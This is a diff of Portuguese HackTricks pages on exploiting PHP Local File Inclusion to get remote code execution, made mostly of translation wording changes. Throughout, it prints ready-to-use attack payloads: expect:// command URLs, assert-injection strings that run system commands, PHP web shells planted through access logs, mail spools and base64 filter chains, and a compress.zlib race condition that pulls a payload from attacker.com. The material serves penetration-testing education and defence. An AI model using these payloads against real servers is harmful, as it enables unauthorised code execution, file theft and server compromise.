||||||
http://example.com/index.php?page=expect://id
|
http://example.com/index.php?page=expect://id
|
||||||
http://example.com/index.php?page=expect://ls
|
http://example.com/index.php?page=expect://ls
|
||||||
|
@ -382,7 +382,7 @@ Para compilar o arquivo `.phar`, o seguinte comando deve ser executado:
|
||||||
```bash
|
```bash
|
||||||
php --define phar.readonly=0 create_path.php
|
php --define phar.readonly=0 create_path.php
|
||||||
```
|
```
|
||||||
Ao ser executado, um arquivo chamado `test.phar` será criado, o qual poderia ser potencialmente utilizado para explorar vulnerabilidades de Inclusão Local de Arquivos (LFI).
|
Ao ser executado, um arquivo chamado `test.phar` será criado, o qual poderia ser potencialmente utilizado para explorar vulnerabilidades de Inclusão de Arquivo Local (LFI).
|
||||||
|
|
||||||
Nos casos em que o LFI apenas realiza a leitura de arquivos sem executar o código PHP dentro deles, por meio de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, a exploração de uma vulnerabilidade de desserialização poderia ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
|
Nos casos em que o LFI apenas realiza a leitura de arquivos sem executar o código PHP dentro deles, por meio de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, a exploração de uma vulnerabilidade de desserialização poderia ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
|
||||||
|
|
||||||
|
@ -398,7 +398,7 @@ Para uma compreensão detalhada da exploração de vulnerabilidades de desserial
|
||||||
|
|
||||||
Confira mais possíveis [**protocolos para incluir aqui**](https://www.php.net/manual/en/wrappers.php)**:**
|
Confira mais possíveis [**protocolos para incluir aqui**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||||
|
|
||||||
* [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivos)
|
* [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo)
|
||||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessar o sistema de arquivos local
|
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessar o sistema de arquivos local
|
||||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessar URLs HTTP(s)
|
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessar URLs HTTP(s)
|
||||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessar URLs FTP(s)
|
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessar URLs FTP(s)
|
||||||
|
@ -409,13 +409,13 @@ Confira mais possíveis [**protocolos para incluir aqui**](https://www.php.net/m
|
||||||
|
|
||||||
## LFI via 'assert' do PHP
|
## LFI via 'assert' do PHP
|
||||||
|
|
||||||
Os riscos de Inclusão Local de Arquivos (LFI) em PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contendo caracteres de travessia de diretório como ".." estiver sendo verificada, mas não devidamente sanitizada.
|
Os riscos de Inclusão de Arquivo Local (LFI) em PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contiver caracteres de travessia de diretório como ".." estiver sendo verificada, mas não devidamente sanitizada.
|
||||||
|
|
||||||
Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diretórios da seguinte forma:
|
Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diretórios da seguinte forma:
|
||||||
```bash
|
```bash
|
||||||
assert("strpos('$file', '..') === false") or die("");
|
assert("strpos('$file', '..') === false") or die("");
|
||||||
```
|
```
|
||||||
Embora isso tenha como objetivo impedir a travessia, acaba criando inadvertidamente um vetor para injeção de código. Para explorar isso e ler o conteúdo do arquivo, um atacante poderia usar:
|
Embora isso tenha como objetivo impedir a travessia, acaba inadvertidamente criando um vetor para injeção de código. Para explorar isso e ler o conteúdo do arquivo, um atacante poderia usar:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(highlight_file('/etc/passwd')) or '
|
' and die(highlight_file('/etc/passwd')) or '
|
||||||
```
|
```
|
||||||
|
@ -423,7 +423,7 @@ Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(system("id")) or '
|
' and die(system("id")) or '
|
||||||
```
|
```
|
||||||
É importante **codificar esses payloads com URL**.
|
É importante **codificar esses payloads em URL**.
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -441,13 +441,13 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
|
||||||
|
|
||||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||||
|
|
||||||
## Traversão de Caminho PHP às Cegas
|
## Traversão de Caminho PHP Cega
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) mas o conteúdo não é exibido.
|
Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) mas o conteúdo não é exibido.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Neste [**post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho às cegas pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oráculo de erro**.
|
Neste [**post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho cega pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oráculo de erro**.
|
||||||
|
|
||||||
Em resumo, a técnica utiliza a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.
|
Em resumo, a técnica utiliza a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.
|
||||||
|
|
||||||
|
@ -465,7 +465,7 @@ Explicado anteriormente, [**siga este link**](./#remote-file-inclusion).
|
||||||
|
|
||||||
### Via arquivo de log do Apache/Nginx
|
### Via arquivo de log do Apache/Nginx
|
||||||
|
|
||||||
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definir dentro do **agente do usuário** ou dentro de um **parâmetro GET** um shell php como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
|
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definir dentro do **agente do usuário** ou dentro de um **parâmetro GET** um shell PHP como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP lançará um erro** e **nada mais será executado**.
|
Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP lançará um erro** e **nada mais será executado**.
|
||||||
|
@ -473,7 +473,7 @@ Observe que **se você usar aspas duplas** para o shell em vez de **aspas simple
|
||||||
Além disso, certifique-se de **escrever corretamente o payload** ou o PHP irá gerar erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
|
Além disso, certifique-se de **escrever corretamente o payload** ou o PHP irá gerar erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs poderia estar codificado em URL e isso poderia destruir o Shell. O cabeçalho **autorização "básica"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\
|
Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar codificado em URL e isso poderia destruir o Shell. O cabeçalho **autorização "básica"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\
|
||||||
Outros possíveis caminhos de log:
|
Outros possíveis caminhos de log:
|
||||||
```python
|
```python
|
||||||
/var/log/apache2/access.log
|
/var/log/apache2/access.log
|
||||||
|
@ -486,9 +486,11 @@ Outros possíveis caminhos de log:
|
||||||
/var/log/nginx/error.log
|
/var/log/nginx/error.log
|
||||||
/var/log/httpd/error_log
|
/var/log/httpd/error_log
|
||||||
```
|
```
|
||||||
|
Lista de palavras para fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||||
|
|
||||||
### Via Email
|
### Via Email
|
||||||
|
|
||||||
**Enviar um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tentar incluir no e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir no e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
||||||
|
|
||||||
### Via /proc/\*/fd/\*
|
### Via /proc/\*/fd/\*
|
||||||
|
|
||||||
|
@ -523,7 +525,7 @@ Verifique se o site utiliza Sessão PHP (PHPSESSID)
|
||||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||||
```
|
```
|
||||||
No PHP, essas sessões são armazenadas nos arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
Em PHP, essas sessões são armazenadas nos arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||||
```
|
```
|
||||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||||
|
@ -548,9 +550,9 @@ Os logs do servidor FTP vsftpd estão localizados em **_/var/log/vsftpd.log_**.
|
||||||
2. Após a injeção, utilize o LFI para recuperar os logs do servidor em **_/var/log/vsftpd.log_**.
|
2. Após a injeção, utilize o LFI para recuperar os logs do servidor em **_/var/log/vsftpd.log_**.
|
||||||
|
|
||||||
|
|
||||||
### Via filtro php base64 (usando base64)
|
### Via php base64 filter (usando base64)
|
||||||
|
|
||||||
Conforme mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora o Non-base64. Você pode usar isso para burlar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignora o "." e anexa "php" ao base64. Aqui está um exemplo de payload:
|
Conforme mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora o que não é base64. Você pode usar isso para burlar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignora o "." e acrescenta "php" ao base64. Aqui está um exemplo de payload:
|
||||||
```url
|
```url
|
||||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||||
|
|
||||||
|
@ -574,7 +576,7 @@ Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d
|
||||||
|
|
||||||
### Através do armazenamento de arquivos temporários do Nginx
|
### Através do armazenamento de arquivos temporários do Nginx
|
||||||
|
|
||||||
Se você encontrou uma **Inclusão Local de Arquivo** e o **Nginx** está em execução na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
|
Se você encontrou uma **Inclusão de Arquivo Local** e o **Nginx** está em execução na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
|
||||||
|
|
||||||
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
||||||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||||
|
@ -582,15 +584,15 @@ Se você encontrou uma **Inclusão Local de Arquivo** e o **Nginx** está em exe
|
||||||
|
|
||||||
### Através do PHP\_SESSION\_UPLOAD\_PROGRESS
|
### Através do PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||||
|
|
||||||
Se você encontrou uma **Inclusão Local de Arquivo** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você poderia abusar disso para obter RCE:
|
Se você encontrou uma **Inclusão de Arquivo Local** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você poderia abusar disso para obter RCE:
|
||||||
|
|
||||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||||
[via-php\_session\_upload\_progress.md](via-php_session_upload_progress.md)
|
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Através de uploads de arquivos temporários no Windows
|
### Através de uploads de arquivos temporários no Windows
|
||||||
|
|
||||||
Se você encontrou uma **Inclusão Local de Arquivo** e o servidor está em **Windows**, você pode obter RCE:
|
Se você encontrou uma **Inclusão de Arquivo Local** e o servidor está em **Windows**, você pode obter RCE:
|
||||||
|
|
||||||
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
||||||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||||
|
@ -598,7 +600,7 @@ Se você encontrou uma **Inclusão Local de Arquivo** e o servidor está em **Wi
|
||||||
|
|
||||||
### Através do phpinfo() (file\_uploads = on)
|
### Através do phpinfo() (file\_uploads = on)
|
||||||
|
|
||||||
Se você encontrou uma **Inclusão Local de Arquivo** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode obter RCE:
|
Se você encontrou uma **Inclusão de Arquivo Local** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode obter RCE:
|
||||||
|
|
||||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||||
|
@ -606,15 +608,15 @@ Se você encontrou uma **Inclusão Local de Arquivo** e um arquivo expondo **php
|
||||||
|
|
||||||
### Através de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgação de Caminho
|
### Através de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgação de Caminho
|
||||||
|
|
||||||
Se você encontrou uma **Inclusão Local de Arquivo** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com essa **Condição de Corrida**:
|
Se você encontrou uma **Inclusão de Arquivo Local** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com essa **Condição de Corrida**:
|
||||||
|
|
||||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||||
[lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md)
|
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Através de espera eterna + força bruta
|
### Através de espera eterna + força bruta
|
||||||
|
|
||||||
Se você puder abusar da LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, então você poderia **forçar nomes de arquivos por horas** para encontrar o arquivo temporário:
|
Se você puder abusar do LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, então você poderia **forçar nomes de arquivos por horas** para encontrar o arquivo temporário:
|
||||||
|
|
||||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||||
|
@ -647,7 +649,7 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||||
|
|
||||||
**Últimos Anúncios**\
|
**Últimos Anúncios**\
|
||||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
|
||||||
|
|
||||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||||
|
|
||||||
|
@ -657,10 +659,10 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,33 +1,63 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
## `compress.zlib://` e `PHP_STREAM_PREFER_STDIO`
|
## `compress.zlib://` e `PHP_STREAM_PREFER_STDIO`
|
||||||
|
|
||||||
Um arquivo aberto usando o protocolo `compress.zlib://` com a flag `PHP_STREAM_PREFER_STDIO` pode continuar escrevendo dados que chegam à conexão posteriormente no mesmo arquivo.
|
Um arquivo aberto usando o protocolo `compress.zlib://` com a flag `PHP_STREAM_PREFER_STDIO` pode continuar gravando dados que chegam à conexão posteriormente no mesmo arquivo.
|
||||||
|
|
||||||
Isso significa que uma chamada como:
|
Isso significa que uma chamada como:
|
||||||
```php
|
```php
|
||||||
file_get_contents("compress.zlib://http://attacker.com/file")
|
file_get_contents("compress.zlib://http://attacker.com/file")
|
||||||
```
|
```
|
||||||
Você enviará uma solicitação pedindo http://attacker.com/file, então o servidor pode responder à solicitação com uma resposta HTTP válida, manter a conexão aberta e enviar dados extras algum tempo depois que também serão gravados no arquivo.
|
Irá enviar uma solicitação pedindo http://attacker.com/file, então o servidor pode responder à solicitação com uma resposta HTTP válida, manter a conexão aberta e enviar dados extras algum tempo depois que também serão escritos no arquivo.
|
||||||
|
|
||||||
Você pode ver essa informação nesta parte do código php-src em main/streams/cast.c:
|
Você pode ver essa informação nesta parte do código php-src em main/streams/cast.c:
|
||||||
```c
|
```c
|
||||||
/* Use a tmpfile and copy the old streams contents into it */
|
/* Use a tmpfile and copy the old streams contents into it */
|
||||||
|
|
||||||
if (flags & PHP_STREAM_PREFER_STDIO) {
|
if (flags & PHP_STREAM_PREFER_STDIO) {
|
||||||
*newstream = php_stream_fopen_tmpfile();
|
*newstream = php_stream_fopen_tmpfile();
|
||||||
} else {
|
} else {
|
||||||
*newstream = php_stream_temp_new();
|
*newstream = php_stream_temp_new();
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## Condição de Corrida para RCE
|
## Condição de Corrida para RCE
|
||||||
|
|
||||||
Este CTF foi resolvido usando o truque anterior.
|
[**Este CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) foi resolvido usando o truque anterior.
|
||||||
|
|
||||||
O atacante fará com que o servidor da vítima abra uma conexão lendo um arquivo do servidor do atacante usando o protocolo `compress.zlib`.
|
O atacante fará o **servidor da vítima abrir uma conexão lendo um arquivo do servidor do atacante** usando o protocolo **`compress.zlib`**.
|
||||||
|
|
||||||
Enquanto essa conexão existir, o atacante exfiltrará o caminho para o arquivo temporário criado (que é vazado pelo servidor).
|
**Enquanto** essa **conexão** existir, o atacante irá **exfiltrar o caminho** para o arquivo temporário criado (é vazado pelo servidor).
|
||||||
|
|
||||||
Enquanto a conexão ainda estiver aberta, o atacante explorará uma LFI carregando o arquivo temporário que ele controla.
|
**Enquanto** a **conexão** estiver aberta, o atacante irá **explorar um LFI carregando o arquivo temporário** que ele controla.
|
||||||
|
|
||||||
No entanto, há uma verificação no servidor web que impede o carregamento de arquivos que contêm `<?`. Portanto, o atacante abusará de uma Condição de Corrida. Na conexão que ainda está aberta, o atacante enviará a carga útil PHP DEPOIS que o servidor web verificou se o arquivo contém os caracteres proibidos, mas ANTES de carregar seu conteúdo.
|
No entanto, há uma verificação no servidor web que **impede o carregamento de arquivos que contenham `<?`**. Portanto, o atacante irá abusar de uma **Condição de Corrida**. Na conexão que ainda está aberta, o **atacante** irá **enviar a carga útil PHP DEPOIS** do **servidor web** ter **verificado** se o arquivo contém os caracteres proibidos, mas **ANTES de carregar seu conteúdo**.
|
||||||
|
|
||||||
Para mais informações, verifique a descrição da Condição de Corrida e do CTF em [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
Para mais informações, consulte a descrição da Condição de Corrida e do CTF em [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -2,58 +2,58 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
